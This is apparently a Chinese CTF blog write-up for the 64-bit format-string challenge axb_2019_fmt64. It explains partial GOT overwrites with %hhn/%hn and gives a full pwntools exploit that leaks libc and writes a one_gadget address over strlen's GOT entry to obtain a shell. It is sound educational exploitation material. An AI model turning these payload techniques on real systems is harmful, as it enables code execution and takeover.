axb_2019_fmt64

文章发布时间:

最后更新时间:

文章总字数:
1.8k

预计阅读时间:
8 分钟

这题收获还是很大的 学会了自己构造任意写的格式化字符串漏洞payload

checksec看一下保护机制

1
2
3
4
5
6
7
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/chen/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

ida查看一下反汇编代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char s[272]; // [rsp+10h] [rbp-250h] BYREF
char format[312]; // [rsp+120h] [rbp-140h] BYREF
unsigned __int64 v5; // [rsp+258h] [rbp-8h]

v5 = __readfsqword(0x28u);
setbuf(stdout, 0LL);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
puts(
"Hello,I am a computer Repeater updated.\n"
"After a lot of machine learning,I know that the essence of man is a reread machine!");
puts("So I'll answer whatever you say!");
while ( 1 )
{
alarm(3u);
memset(s, 0, 0x101uLL);
memset(format, 0, 0x12CuLL);
printf("Please tell me:");
read(0, s, 0x100uLL);
sprintf(format, "Repeater:%s\n", s);
if ( (unsigned int)strlen(format) > 0x10E )
break;
printf(format);
}
printf("what you input is really long!");
exit(0);
}

很常规的64位格式化字符串 但是多了个函数alarm 限制了进程持续的时间

如果我们使用pwntools内置的函数fmtstr_payload来生成payload的话 会由于字节过多发送失败 所以这里尝试一下自己构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import*
from struct import pack
#io = remote("node4.buuoj.cn",26248)
io = process("./pwn")
context.log_level = "debug"
elf = ELF("./pwn")
#libc = ELF("./buu_libc_ubuntu16_64")
libc = ELF("./locate")
context.terminal = ['tmux','splitw','-h']
context.arch = "amd64"
def debug():
gdb.attach(io)
pause()

io.recvuntil("Please tell me:")
#gdb.attach(io,'b *0x400957')
payload = b'%9$saaaa'+p64(elf.got['puts'])
io.sendline(payload)
puts_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
success(hex(puts_addr))
libc_addr = puts_addr - libc.sym['puts']
success(hex(libc_addr))

泄露libc基址很简单 只要注意一下64位的p64会附带\x00 导致printf读取到后直接截断了 无法正常泄露 得把p64放在后面

接下来的难点在于说如何任意地址写

这题要获取shell的办法无非就是覆盖函数的got表 修改为system 随后参数设置为/bin/sh 或者是onegadget

而格式化字符串任意写是依靠%x$n 这个格式符是将其前面输出的字节赋值到对应的偏移地址

如果我们想要任意写的只是小额的数值 我们可以这样构造payload

1
2
payload = b'a'*padding+b'%$xn'+p64(ptr_addr)
# 其中padding是想要修改的数值 x是varge参数的偏移

但是如果我们想要赋值onegadget到exit函数的got表 那么可想而知 需要庞大的字节数 不仅仅题目很少会给我们无限制的读入数据 如此庞大的数据还会导致程序运行缓慢 何况这题还调用了alarm函数

那么换个想法 如果我们只是修改单字节或者是双字节呢?

因为每个函数的真实地址差别只在于最后几个字节 前面的都是一样的 这样就可以大大减少需要的字节数

对于一个地址来说 其在内存一共占用了8个字节 而每个字节都存放着相应的数值 比如说下图

0x7f7458560971处的内容就是0x55

我们对比一下got表中存放的真实地址 发现只有后5位是不一样的 不过由于没有办法单独修改1位 所以我们需要修改后三个字节的数据

我们知道在n前面添加一个h就可以减半要操作的字节数 %$xhhn就可以做到修改单字节的数据

所以只能修改2的倍数的字节 要想修改三个字节的话 我们需要修改两次 一次修改单字节 一次修改双字节

接下来还有一个问题在于 函数的真实地址每次程序运行的时候都会变化 我们肉眼当然是可以读出地址的后三位

但是要如何利用脚本来实现读取呢?

这里介绍一下算术右移和与运算

算术右移:

对于一个二进制数 例如11110000来说 其符号位为1 如果是逻辑右移的话 不需要考虑符号位 而算术右移 如果符号位是1的话 就需要用1来补全 反之 用0来补全 比如算术右移3

那么这个二进制数就会变成 (1)(1)(1)11110 括号的表示是补全的

与运算:

二进制数a 10101010

二进制数b 11111111

二者进行与运算的话 对应的位依次进行比较

如果两个位都是1的话 那么与运算之后的结果就是1 除此之外的所有情况 与运算后的结果都是0

那么a和b与运算后的结果就是 10101010

与运算的作用在于 如果我们是和0xff来与运算 其二进制数是11111111

就会保留与之运算的数的最后一个字节的值

比如:

1
2
3
4
system_addr =0x7fb60fe40420
# 11111111 10110110 00001111 11100100 00000100 00100000 system_addr
# 00000000 00000000 00000000 00000000 11111111 11111111 0xffff
# 00000000 00000000 00000000 00000000 00000100 00100000 0x0420

用system_addr去和0xffff与运算 最后得到的结果就是0x0420 为system_addr的最后两个字节

如果再用上算术右移 那么我们就可以获取到倒数第三个字节的值

1
2
3
4
5
system_addr =0x7fb60fe40420
# 11111111 10110110 00001111 11100100 00000100 00100000 system_addr
# 11111111 11111111 11111111 10110110 00001111 11100100 system_addr >> 16
# 00000000 00000000 00000000 00000000 00000000 11111111 0xff
# 00000000 00000000 00000000 00000000 00000000 11100100 0xe4

最后得到的值就是system_addr的倒数第三个字节

至于输出足够的字节来使%n读取到从而任意写 则是采用%c这个格式化字符 其作用是输出x个字节 如果不够则用\x00补齐

比如 printf(“%10c”) 就会输出10个空字符

那么最后的payload就是这样构造

1
2
3
payload = b'%'+str(high_addr-9).encode()+b'c%12$hhn'+b'%'+str(low_addr-high_addr).encode()+b'c%13$hn'
payload = payload.ljust(32,b'\x00')
payload += p64(strlen_got+2)+p64(strlen_got)

%n是在其之前输出了多少字节的字符就将对应值赋给对应的地址 而在这一题中 先行输出了 “Repeater:” 所以需要-9

而encode()则是在python3中需要发送byte型的数据 所以需要进行转化 随后的low_addr-high_addr也是同理

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import*
from struct import pack
#io = remote("node4.buuoj.cn",26248)
io = process("./pwn")
context.log_level = "debug"
elf = ELF("./pwn")
#libc = ELF("./buu_libc_ubuntu16_64")
libc = ELF("./locate")
context.terminal = ['tmux','splitw','-h']
context.arch = "amd64"
def debug():
gdb.attach(io)
pause()

io.recvuntil("Please tell me:")
#gdb.attach(io,'b *0x400957')
payload = b'%9$saaaa'+p64(elf.got['puts'])
io.sendline(payload)
puts_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
success(hex(puts_addr))
libc_addr = puts_addr - libc.sym['puts']
success(hex(libc_addr))
io.recvuntil("Please tell me:")
printf_got = elf.got['printf']
strlen_got = elf.got['strlen']
alarm_got = elf.got['alarm']
strlen_got = elf.got['strlen']
alarm_addr = libc_addr + libc.sym['alarm']
system_addr = libc_addr + libc.sym['system']
#7a4420
onegadget_addr = libc_addr + 0xf02a4
high_addr = (onegadget_addr>>16)&0xff
low_addr = onegadget_addr&0xffff
payload = b'%'+str(high_addr-9).encode()+b'c%12$hhn'+b'%'+str(low_addr-high_addr).encode()+b'c%13$hn'
payload = payload.ljust(32,b'\x00')
payload += p64(strlen_got+2)+p64(strlen_got)
io.sendline(payload)
io.recvuntil("Please tell me:")
io.sendline(b'aaaa')
io.interactive()